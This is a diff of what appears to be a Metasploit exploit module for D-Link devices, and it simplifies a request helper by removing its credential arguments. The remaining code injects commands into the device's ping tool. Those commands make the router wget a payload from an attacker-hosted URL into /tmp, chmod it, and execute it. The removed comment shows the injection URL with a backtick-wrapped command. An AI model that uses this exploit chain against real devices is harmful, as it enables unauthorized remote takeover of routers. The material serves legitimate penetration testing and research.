@@ -76,9 +76,7 @@ def initialize(info = {})
76
76
end
77
77
78
78
79
- def request ( cmd , user , pass )
80
- #http://IP/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=
81
-
79
+ def request ( cmd )
82
80
begin
83
81
res = send_request_cgi ( {
84
82
'uri' => @uri ,
@@ -139,7 +137,7 @@ def exploit
139
137
fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
140
138
end
141
139
cmd = payload . encoded
142
- res = request ( cmd , user , pass )
140
+ res = request ( cmd )
143
141
if ( !res )
144
142
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
145
143
else
@@ -193,7 +191,7 @@ def exploit
193
191
194
192
#not working if we send all command together -> lets take three requests
195
193
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
196
- res = request ( cmd , user , pass )
194
+ res = request ( cmd )
197
195
if ( !res )
198
196
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
199
197
end
@@ -215,7 +213,7 @@ def exploit
215
213
#
216
214
cmd = "chmod 777 /tmp/#{ filename } "
217
215
print_status ( "#{ rhost } :#{ rport } - Asking the D-Link device to chmod #{ downfile } " )
218
- res = request ( cmd , user , pass )
216
+ res = request ( cmd )
219
217
if ( !res )
220
218
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
221
219
end
@@ -227,7 +225,7 @@ def exploit
227
225
#
228
226
cmd = "/tmp/#{ filename } "
229
227
print_status ( "#{ rhost } :#{ rport } - Asking the D-Link device to execute #{ downfile } " )
230
- res = request ( cmd , user , pass )
228
+ res = request ( cmd )
231
229
if ( !res )
232
230
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
233
231
end
0 commit comments